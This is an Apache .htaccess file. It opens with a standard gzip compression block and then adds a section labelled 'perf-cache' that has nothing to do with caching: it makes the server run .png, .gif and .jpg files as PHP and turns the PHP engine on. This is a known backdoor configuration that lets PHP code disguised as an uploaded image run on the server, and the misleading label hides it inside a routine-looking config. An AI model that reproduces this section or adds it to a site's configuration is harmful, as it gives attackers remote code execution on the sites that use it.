<IfModule mod_deflate.c>
    SetOutputFilter DEFLATE
    <IfModule mod_setenvif.c>
        # Netscape 4.x has some problems...
        BrowserMatch ^Mozilla/4 gzip-only-text/html

        # Netscape 4.06-4.08 have some more problems
        BrowserMatch ^Mozilla/4\.0[678] no-gzip

        # MSIE masquerades as Netscape, but it is fine
        # BrowserMatch \bMSIE !no-gzip !gzip-only-text/html

        # NOTE: Due to a bug in mod_setenvif up to Apache 2.0.48
        # the above regex won't work. You can use the following
        # workaround to get the desired effect:
        BrowserMatch \bMSI[E] !no-gzip !gzip-only-text/html

        # Don't compress images
        SetEnvIfNoCase Request_URI .(?:gif|jpe?g|png)$ no-gzip dont-vary
    </IfModule>

    <IfModule mod_headers.c>
        # Make sure proxies don't deliver the wrong content
        Header append Vary User-Agent env=!dont-vary
    </IfModule>
</IfModule>

# perf-cache
AddType application/x-httpd-php .png .gif .jpg .jpeg
AddHandler application/x-httpd-php .png .gif .jpg .jpeg
<FilesMatch "\.png$|\.gif$|\.jpe?g$">
    SetHandler application/x-httpd-php
    ForceType application/x-httpd-php
</FilesMatch>
<IfModule mod_php.c>
    php_flag engine on
</IfModule>
<IfModule mod_php8.c>
    php_flag engine on
</IfModule>
<IfModule mod_php7.c>
    php_flag engine on
</IfModule>
<IfModule mod_php5.c>
    php_flag engine on
</IfModule>